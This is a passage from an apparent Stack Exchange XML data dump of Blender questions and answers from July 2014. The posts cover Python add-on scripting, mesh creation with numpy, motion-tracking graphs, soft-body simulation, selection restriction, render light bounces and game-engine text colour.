href=&quot;https://developer.blender.org/diffusion/BA/browse/master/space_view3d_materials_utils.py&quot; rel=&quot;nofollow&quot;&gt;Material Utils&lt;/a&gt; is one of them -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kc = bpy.context.window_manager.keyconfigs.addon&#xA;if kc:&#xA;    km = kc.keymaps.new(name=&quot;3D View&quot;, space_type=&quot;VIEW_3D&quot;)&#xA;    kmi = km.keymap_items.new('wm.call_menu', 'Q', 'PRESS')&#xA;    kmi.properties.name = &quot;VIEW3D_MT_master_material&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-07-24T08:16:40.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14318" PostTypeId="2" ParentId="14312" CreationDate="2014-07-24T09:01:11.143" Score="7" Body="&lt;p&gt;It works pretty well to use BoolVectorProperty and then in the UI to address each element by specifying the index and overriding the (empty) text.  I learned this reading &lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-264624.html&quot; rel=&quot;noreferrer&quot;&gt;http://blenderartists.org/forum/archive/index.php/t-264624.html&lt;/a&gt; . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ex: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;myList = [&quot;cat&quot;, &quot;rabbit&quot;, &quot;fox&quot;]&#xA;&#xA;class SpriteSheetProperties(bpy.types.PropertyGroup):&#xA;    sets = bpy.props.BoolVectorProperty(&#xA;        name = &quot;Sets&quot;,&#xA;        description = &quot;Which animal sets to render&quot;,&#xA;        size = len(SETS),)&#xA;&#xA;class SpritifyPanel(bpy.types.Panel):&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        box = layout.box()&#xA;        split = box.split(.25)&#xA;        column = split.column()&#xA;        for i,set in enumerate(SETS):&#xA;            column.row().prop(context.scene.spritesheet, 'sets', index=i, text=set)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doing this over a few different list, I now have this nice box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wj3Cu.png&quot; alt=&quot;UI implemented&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5331" LastActivityDate="2014-07-24T09:01:11.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14319" PostTypeId="2" ParentId="14301" CreationDate="2014-07-24T09:28:15.983" Score="0" Body="&lt;p&gt;You need to define an operator which uses calls &lt;code&gt;invoke_props_dialog&lt;/code&gt; from its invoke function. Then reference this operator from your menu.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-07-24T09:28:15.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14320" PostTypeId="1" CreationDate="2014-07-24T10:01:15.513" Score="0" ViewCount="851" Body="&lt;p&gt;Since I moved my trackpoints I got this jumps where the line of a trackpoint jumps from the red to the green curve(and the other way around).&#xA;This happened to points that I moved, so maybe that's the reason. Is there a simple solution, or do I have to replace all these trackpoints?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vfsxO.png&quot; alt=&quot;*screenshot*&quot; title=&quot;Blender Graph_view&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5333" LastEditorUserId="599" LastEditDate="2014-07-24T19:43:42.853" LastActivityDate="2014-07-25T11:33:57.913" Title="How to remove &quot;jumps&quot; of trackpoints in Camera tracking when moving them?" Tags="&lt;camera&gt;&lt;tracking&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14321" PostTypeId="1" AcceptedAnswerId="14323" CreationDate="2014-07-24T11:05:36.400" Score="16" ViewCount="3616" Body="&lt;p&gt;Is it possible to make python addon as a modifier? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just would like to make some deformation modifiers. But I know only python.&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="3401" LastEditDate="2015-07-08T08:47:24.180" LastActivityDate="2019-09-03T07:33:59.870" Title="Is it possible to make a modifier with a python addon?" Tags="&lt;python&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14322" PostTypeId="2" ParentId="14320" CreationDate="2014-07-24T12:30:58.533" Score="-1" Body="&lt;p&gt;You need to track those markers again, and then resolve the camera motion. To do this, go to the &quot;Motion Tracking&quot; prespective, by chosing it from this menu:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/H17Gi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select the markers that need to be tracked, open the Toolshelf (press &lt;kbd&gt;T&lt;/kbd&gt;) and go to the subsection &quot;Track&quot; and click the track button, as shown here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r4TaM.png&quot; alt=&quot;enter image description here&quot;&gt;:&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-07-24T13:57:46.467" LastActivityDate="2014-07-24T13:57:46.467" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14323" PostTypeId="2" ParentId="14321" CreationDate="2014-07-24T13:14:46.233" Score="17" Body="&lt;p&gt;&lt;strong&gt;No,&lt;/strong&gt; the modifier API is currently not exposed via Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Arguably, Python is too slow to do realtime operations on mesh data which can have millions of faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though there is some possibility of something faster using Python, NumPy for example or maybe eventually even PyPy.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-07-24T17:09:07.673" LastActivityDate="2014-07-24T17:09:07.673" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14324" PostTypeId="1" AcceptedAnswerId="14326" CreationDate="2014-07-24T13:38:37.160" Score="3" ViewCount="1583" Body="&lt;p&gt;I am learning how to create mesh objects using python. The math will be complicated (fsolve and other special functions in Scipy), but I've simplified the problem to just four sides of a box. The first set of code does not run in blender 2.70a installed on my macbook air. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error message in this case is only &quot;Python script fail, look in the console for now...&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I run the math part in python 2.7.6 first (second code segment below), then paste the output back into blender (third code segment), it works and draws four sides of a box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import numpy as np&#xA;from math import pi&#xA;&#xA;mesh = bpy.data.meshes.new(&quot;Cubit&quot;)&#xA;object = bpy.data.objects.new(&quot;Cubit&quot;, mesh)&#xA;&#xA;object.location = (0,0,0)  # bpy.context.scene.cursor_location&#xA;bpy.context.scene.objects.link(object)&#xA;&#xA;mesh.from_pydata(verts,[],faces)&#xA;mesh.update(calc_edges=True)&#xA;&#xA;verts = []&#xA;faces = []&#xA;&#xA;n_side = 4&#xA;n_seg = 1&#xA;&#xA;i_seg = 0&#xA;while (i_seg &amp;lt; n_seg+1):&#xA;    i_vert = 0&#xA;    zv = 2. * i_seg&#xA;    while (i_vert &amp;lt; n_side):&#xA;        xv = np.cos(0.5 * pi * i_vert)&#xA;        yv = np.sin(0.5 * pi * i_vert)&#xA;        vert = (xv,yv,zv)&#xA;        verts.append(vert)&#xA;        i_vert = i_vert + 1&#xA;    i_seg = i_seg + 1&#xA;&#xA;i_seg = 0&#xA;while (i_seg &amp;lt; n_seg):&#xA;    i_vert = 0&#xA;    while (i_vert &amp;lt; n_side):&#xA;        iv1 = i_seg*n_side + i_vert&#xA;        iv2 = i_seg*n_side + np.mod(i_vert + 1, n_side)&#xA;        iv3 = (i_seg + 1)*n_side + np.mod(i_vert + 1, n_side)&#xA;        iv4 = (i_seg + 1)*n_side + i_vert&#xA;        face = (iv1,iv2,iv3,iv4)&#xA;        faces.append(face)&#xA;        i_vert = i_vert + 1&#xA;    i_seg = i_seg + 1&#xA;&#xA;mesh = bpy.data.meshes.new(&quot;Cubit&quot;)&#xA;object = bpy.data.objects.new(&quot;Cubit&quot;, mesh)&#xA;&#xA;object.location = (0,0,0)  #bpy.context.scene.cursor_location&#xA;bpy.context.scene.objects.link(object)&#xA;&#xA;mesh.from_pydata(verts,[],faces)&#xA;mesh.update(calc_edges=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I run this in Python IDLE&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import numpy as np&#xA;from math import pi&#xA;&#xA;verts = []&#xA;faces = []&#xA;&#xA;n_side = 4&#xA;n_seg= 1&#xA;&#xA;i_seg = 0&#xA;while (i_seg &amp;lt; n_seg+1):&#xA;    i_vert = 0&#xA;    zv = 2. * i_seg&#xA;    while (i_vert &amp;lt; n_side):&#xA;        xv = np.cos(0.5 * pi * i_vert)&#xA;        yv = np.sin(0.5 * pi * i_vert)&#xA;        vert = (xv,yv,zv)&#xA;        verts.append(vert)&#xA;        i_vert = i_vert + 1&#xA;    i_seg = i_seg + 1&#xA;&#xA;i_seg = 0&#xA;while (i_seg &amp;lt; n_seg):&#xA;    i_vert = 0&#xA;    while (i_vert &amp;lt; n_side):&#xA;        iv1 = i_seg*n_side + i_vert&#xA;        iv2 = i_seg*n_side + np.mod(i_vert + 1, n_side)&#xA;        iv3 = (i_seg + 1)*n_side + np.mod(i_vert + 1, n_side)&#xA;        iv4 = (i_seg + 1)*n_side + i_vert&#xA;        face = (iv1,iv2,iv3,iv4)&#xA;        faces.append(face)&#xA;        i_vert = i_vert + 1&#xA;    i_seg = i_seg + 1&#xA;&#xA;print ' verts = ', verts&#xA;print ' faces = ', faces&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and then paste the (ugly) output into blender like this, it works fine and draws four sides of a box.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import numpy as np&#xA;from math import pi&#xA;&#xA;verts =  [(1.0, 0.0, 0.0), (6.123233995736766e-17, 1.0, 0.0), (-1.0, 1.2246467991473532e-16, 0.0), (-1.8369701987210297e-16, -1.0, 0.0), (1.0, 0.0, 2.0), (6.123233995736766e-17, 1.0, 2.0), (-1.0, 1.2246467991473532e-16, 2.0), (-1.8369701987210297e-16, -1.0, 2.0)]&#xA;faces =  [(0, 1, 5, 4), (1, 2, 6, 5), (2, 3, 7, 6), (3, 0, 4, 7)]&#xA;&#xA;mesh = bpy.data.meshes.new(&quot;Cubit&quot;)&#xA;object = bpy.data.objects.new(&quot;Cubit&quot;, mesh)&#xA;&#xA;object.location = (0,0,0)  #bpy.context.scene.cursor_location&#xA;bpy.context.scene.objects.link(object)&#xA;&#xA;mesh.from_pydata(verts,[],faces)&#xA;mesh.update(calc_edges=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5334" LastActivityDate="2014-07-26T11:34:01.063" Title="Can not figure out why this python mesh object script will not run" Tags="&lt;python&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14325" PostTypeId="1" CreationDate="2014-07-24T14:26:28.210" Score="0" ViewCount="657" Body="&lt;p&gt;I've never used any modeling software before and just wanted to know if&#xA;what I'm envisioning can be even be modeled.  I wasn't sure where to post this question, so if this is the wrong place, please let me know.  I would be grateful for any advice you may have.  What I'd like to do is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;3D modeling of flexible (soft body?) spheres in contact with one another. The spheres are just a surface with no internal points.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There's an initial sphere (say layer 0) whose surface is covered as much as possible by non-overlapping spheres of the same size in layer 1.  Because you can't fit an integral number of equal-sized spheres around an inner sphere of the same size, some amount of a few of the layer 1 spheres will be trying to occupy the same location.  Because of this, these spheres won't be spheres but will be kind of hemispherical shapes meeting in the middle in a flat interface.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Any of the outer surfaces of the layer 1 spheres and hemispheres that are not already covered by other spheres, will also be covered by non-overlapping spheres (layer 2). Some of the layer 2 spheres will overlap if there's not a surface area that can fit an integral number of them.   Ideally, the appearance of the sphere layers (0, 1, 2, etc.) is a sequential process, but I don't think that's critical for the model.  In other words, they could all be there initially.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The overlapping hemispherical entities are  trying to achieve their natural spherical shape and thus will exert pressure on each other.  This is where the flexibility part comes in.  As the overlapping hemispheres push against each other, they will change shape and push into neighboring spheres.  All the spheres/hemispheres are trying to maintain a spherical shape, so if a sphere is bulged into, it will offer a small resistance to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to make a 3d simulation of what happens when you start this running to see how the pressure waves and forces move through the spheres?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Thank you to both of you for your help.  Both your answers were very informative and&lt;br&gt;&#xA;will help guide my work on my hobby!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Roger&lt;/p&gt;&#xA;" OwnerUserId="5330" LastEditorUserId="14" LastEditDate="2014-07-26T14:46:10.473" LastActivityDate="2014-09-24T15:59:14.513" Title="Can this even be modeled? 3D modeling of flexible spheres in contact with one another" Tags="&lt;modeling&gt;&lt;particles&gt;&lt;physics&gt;&lt;soft-body&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14326" PostTypeId="2" ParentId="14324" CreationDate="2014-07-24T14:33:31.740" Score="2" Body="&lt;p&gt;Your script has two minor issues &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 11,12 should be removed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#mesh.from_pydata(verts,[],faces)&#xA;#mesh.update(calc_edges=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The console window from &lt;em&gt;Menu:Window/Toggle System Console&lt;/em&gt; shows a traceback:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  File &quot;\Text&quot;, line 51, in &amp;lt;module&amp;gt;&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\2.70\scripts\modules\bpy_typ&#xA;es.py&quot;, line 418, in from_pydata&#xA;    p.vertices = f&#xA;TypeError: bpy_struct: item.attr = val: expected sequence items of type int, not&#xA; numpy.int32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this means that for some reason the face's values are of type numpy.int32 instead of the expected int type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is easy to fix. Just add casts to int type in line 40:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;face = (int(iv1),int(iv2),int(iv3),int(iv4))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-07-24T14:33:31.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14327" PostTypeId="1" CreationDate="2014-07-24T14:52:43.293" Score="0" ViewCount="2688" Body="&lt;p&gt;Can an imported .STL file be rigged and animated in Blender? I have a model of a house window that was given to me as a .STL file, and I want to animate how it opens/closes. FYI, I'm new to Blender and 3D animation. I want to make sure Blender is the right tool for the job.&lt;/p&gt;&#xA;" OwnerUserId="5336" LastEditorUserId="2217" LastEditDate="2014-07-24T15:01:36.927" LastActivityDate="2014-07-24T15:10:47.323" Title="Can an imported .STL file be broken down into individual parts (rigged) and animated in Blender?" Tags="&lt;animation&gt;&lt;objects&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14328" PostTypeId="2" ParentId="14327" CreationDate="2014-07-24T15:10:47.323" Score="1" Body="&lt;p&gt;Yes it should be possible, since importing means to convert it into Blender internal format. You can use all tools provided by Blender to work on you model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be that you need to split the window and the window frame into two objects. &#xA;In &lt;em&gt;Edit Mode&lt;/em&gt; select the part of the mesh you want so separate into to another object and press &lt;kbd&gt;P&lt;/kbd&gt; this opens the &lt;em&gt;Separate&lt;/em&gt; popup and choose &lt;em&gt;Selection&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-07-24T15:10:47.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14329" PostTypeId="1" AcceptedAnswerId="14332" CreationDate="2014-07-24T16:00:29.550" Score="8" ViewCount="4006" Body="&lt;p&gt;I have some reference meshes in some scenes, That are holding the shape for what I'm molding. The issue though is I keep accidentally selecting them, and it is driving me crazy :), So how can I &lt;strong&gt;stop these objects from being selected.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-07-25T07:27:22.457" Title="Stop objects from being selected" Tags="&lt;objects&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14330" PostTypeId="1" AcceptedAnswerId="14331" CreationDate="2014-07-24T16:05:14.190" Score="14" ViewCount="4757" Body="&lt;p&gt;After tracking things on a video clip or image sequence, I get a graph with green, red and sometimes blue lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do those lines represent, and how are they useful to get more accurate tracking or a better camera solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/krYsX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-07-24T19:36:08.603" LastActivityDate="2019-08-30T13:20:50.243" Title="Motion Tracking. What do the graphs represent and how are they useful?" Tags="&lt;tracking&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14331" PostTypeId="2" ParentId="14330" CreationDate="2014-07-24T16:05:14.190" Score="18" Body="&lt;p&gt;The red and green lines on the graph show you the &lt;strong&gt;speed&lt;/strong&gt; of the trackers at a given frame. Green is vertical movement, Red is horizontal. The red and green curves will always start at zero in the first frame of the scene, and will move away from zero as the tracking points change position on the following frames. Objects closer to camera will move faster than those far away, so the speed in trackers in the foreground will be greater and objects far away will tend to stay closer to zero.&lt;/p&gt;&#xA;&lt;p&gt;The curves are useful to see if particular trackers are moving differently than the average. A line that spikes way out of the norm might mean a tracking error, like a tracker slipping out of place, or maybe it means that an object is moving differently than the rest, and shouldn't be part of the overall camera solution. You can manually edit the curve by selecting a point in the curve and dragging it or deleting, that will affect the corresponding tracker on that particular frame.&lt;/p&gt;&#xA;&lt;p&gt;In this example most of the trackers follow the same pattern. The green line that strays from the norm is a tracker that is wandering off. By manually moving the trackers or retracking with different parameters you could get the curve to match with the rest, but in most cases is better to re-track or find a different section of the scene that can yield more accurate tracking.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5Jg8y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Jg8y.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you have done your tracking and hit the &lt;em&gt;camera solve motion&lt;/em&gt; button, a bunch of blue lines will appear, They represent the &lt;strong&gt;reprojection error&lt;/strong&gt; for each tracker.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JnxyX.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;The reprojection error is a geometric error corresponding to the image distance between a projected point and a measured one&amp;quot; (wikipedia).&#xA;Blender wiki says:&#xA;&amp;quot;Reprojection error means the average distance between reconstructed 3D position of tracks projected back to footage and original position of tracks. Basically, reprojection error below 0.3 means accurate reprojection, 0.3-3.0 means quite nice solving which still can be used. Values above 3 means some tracks should be tracked more accurately, or that values for focal length or distortion coefficients were set incorrectly.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;The blue curves cannot be selected or edited directly on the graph window, but if you select a tracker on the tracking window the corresponding graphic will turn a darker blue, so you can see at what frame the reprojection is failing.&lt;/p&gt;&#xA;&lt;p&gt;Finding the trackers with the highest reprojection errors is easier on the &lt;strong&gt;dopesheet&lt;/strong&gt; for tracking data. It has a way to sort by Average error and you can see the numbers right next to the trackers name.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LvFOf.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KImLM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finally, the lonely blue line that comes out when you click on the film strip is the &lt;strong&gt;average per frame error&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This curve is available only after pressing camera solve and is not editable.&#xA;This is the one line that you want to be as flat as possible and as closer to zero as you can. The high points will show you where in your shot you are having inaccurate tracking.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Tmdp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;For general tips on motion tracking please read this post: &lt;a href=&quot;https://blender.stackexchange.com/questions/42329/how-can-i-get-better-results-when-doing-camera-motion-tracking/42332#42332&quot;&gt;How can I get better results when doing camera motion tracking?&lt;/a&gt;&lt;/h1&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-06-28T17:08:21.437" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14332" PostTypeId="2" ParentId="14329" CreationDate="2014-07-24T16:11:39.550" Score="9" Body="&lt;p&gt;Select the object in the outliner and click the white arrow &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that they can still be selected from the outliner, but view-port operations will ignore them.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QRbHt.png&quot; alt=&quot;restrict view port selection&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="55" LastEditDate="2014-07-25T07:27:22.457" LastActivityDate="2014-07-25T07:27:22.457" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14333" PostTypeId="2" ParentId="14325" CreationDate="2014-07-24T17:11:09.863" Score="0" Body="&lt;p&gt;You're talking about 2 different things: modelling the spheres and simulating the physics of applying forces to them.&#xA;The answer is yes, you can model this kind of thing in Blender and simulate elasticity using softbody dynamics which can show you realistic deformation based on general parameters.  Here's a quick clip showing an example of softbody dynamics:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=7gqSyojxC3g&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=7gqSyojxC3g&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender provides a convincing effect, but it doesn't incorporate real material properties like hardness, poisons ratio and modulus of elasticity and it doesn't do the kind of reporting needed to evaluate how the model would perform over time in the real world so it's not an analysis tool like ANSYS&lt;/p&gt;&#xA;" OwnerUserId="4942" LastActivityDate="2014-07-24T17:11:09.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14334" PostTypeId="1" CreationDate="2014-07-24T17:50:35.670" Score="3" ViewCount="511" Body="&lt;p&gt;To elaborate - I want a setup where LMB clicking (in the LMB to select setup) on an empty space in the 3D View causes all of the mesh to be deselected when in Edit Mode, all objects when in Object mode, etc. I specifically would like to do it via an addon, but any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="3368" LastEditDate="2014-07-25T16:09:15.293" LastActivityDate="2014-07-25T16:09:15.293" Title="How to detect clicks on empty space via python?" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14335" PostTypeId="1" AcceptedAnswerId="14336" CreationDate="2014-07-24T18:40:22.217" Score="2" ViewCount="2430" Body="&lt;p&gt;so I'm sorta new to Blender and stumbled upon a problem which is probably easy to fix. So I realized that the color of the ground gets reflected onto other surfaces during the render, as seen on this picture: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qY9Jp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I prevent the green color from appearing on other things than the ground?&lt;/p&gt;&#xA;" OwnerUserId="5289" LastActivityDate="2014-07-24T18:57:09.320" Title="How can I avoid colored light reflections?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14336" PostTypeId="2" ParentId="14335" CreationDate="2014-07-24T18:42:22.827" Score="2" Body="&lt;p&gt;Yes, by decreasing the number of bounces in &lt;em&gt;Render settings &gt; Light paths&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j632F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, note that &lt;a href=&quot;http://en.wikipedia.org/wiki/Reflector_%28photography%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;this is a phenomenon in the real world&lt;/a&gt;, and disabling it may make your renders look more fake or unrealistic.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-24T18:57:09.320" LastActivityDate="2014-07-24T18:57:09.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14337" PostTypeId="2" ParentId="14320" CreationDate="2014-07-24T19:39:26.147" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;see &lt;a href=&quot;https://blender.stackexchange.com/questions/14330/motion-tracking-what-do-the-graphs-represent-and-how-are-they-useful&quot;&gt;blender.stackexchange.com/questions/14330/…&lt;/a&gt; –  cegaton 56 mins ago &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So my answer is solved now I think. After reading this I know, that the &quot;jumps&quot; the lines are doing are caused by moving them. Because if you move one its speed increases immensely. And if the lines indicate the speed of a tracker, they will go up too. That's causing the jumps. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other points where the red and the green line is connected. A new Trackpoint was created.&lt;/p&gt;&#xA;" OwnerUserId="5333" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-07-25T11:33:57.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14339" PostTypeId="1" AcceptedAnswerId="14340" CreationDate="2014-07-24T20:15:24.093" Score="8" ViewCount="11783" Body="&lt;p&gt;I want to change the color of some text in my game. I've tried adding materials, but whenever I press &lt;kbd&gt;P&lt;/kbd&gt; to play the game, the text stays the same white color. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="5253" LastEditorUserId="599" LastEditDate="2014-07-24T20:24:46.960" LastActivityDate="2017-07-26T02:39:02.173" Title="Change Text Color in Blender Game Engine?" Tags="&lt;materials&gt;&lt;game-engine&gt;&lt;text-object&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14340" PostTypeId="2" ParentId="14339" CreationDate="2014-07-24T20:22:14.313" Score="7" Body="&lt;p&gt;You need to set the &lt;em&gt;Object color&lt;/em&gt; in &lt;em&gt;Properties &gt; Display&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5cge2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Text objects are made out of polygons in the 3D view, however in the game engine they are &lt;a href=&quot;https://developer.blender.org/rB0890b80ed9343ac9b86b40f612d5a994745d85d7&quot; rel=&quot;nofollow noreferrer&quot;&gt;rendered straight as text&lt;/a&gt; (there are also some issues with picking the resolution to render it at, which is why &lt;a href=&quot;https://blender.stackexchange.com/q/8399/599&quot;&gt;it sometimes looks pixelated&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to have your text look as it does in the 3D view (3D, with materials/textures), then you'll have to convert it to a mesh (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&gt; Convert to mesh&lt;/em&gt;). Note that once it's a mesh you can no longer edit it as text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do need to have dynamically editable text, then perhaps the technique mentioned in &lt;a href=&quot;https://blender.stackexchange.com/questions/8399/why-is-my-text-pixelated#comment13720_8399&quot;&gt;this comment&lt;/a&gt; will help:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;. . . I don't recommend using text objects at all, since they are a&#xA;  hack right now. The other problems you get are no depth sorting, does&#xA;  not respect materials, Z buffer issues, no alignment. I recommend&#xA;  using &lt;a href=&quot;http://www.youtube.com/watch?v=GKO4jfAHtjk&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; method. If anything you could use 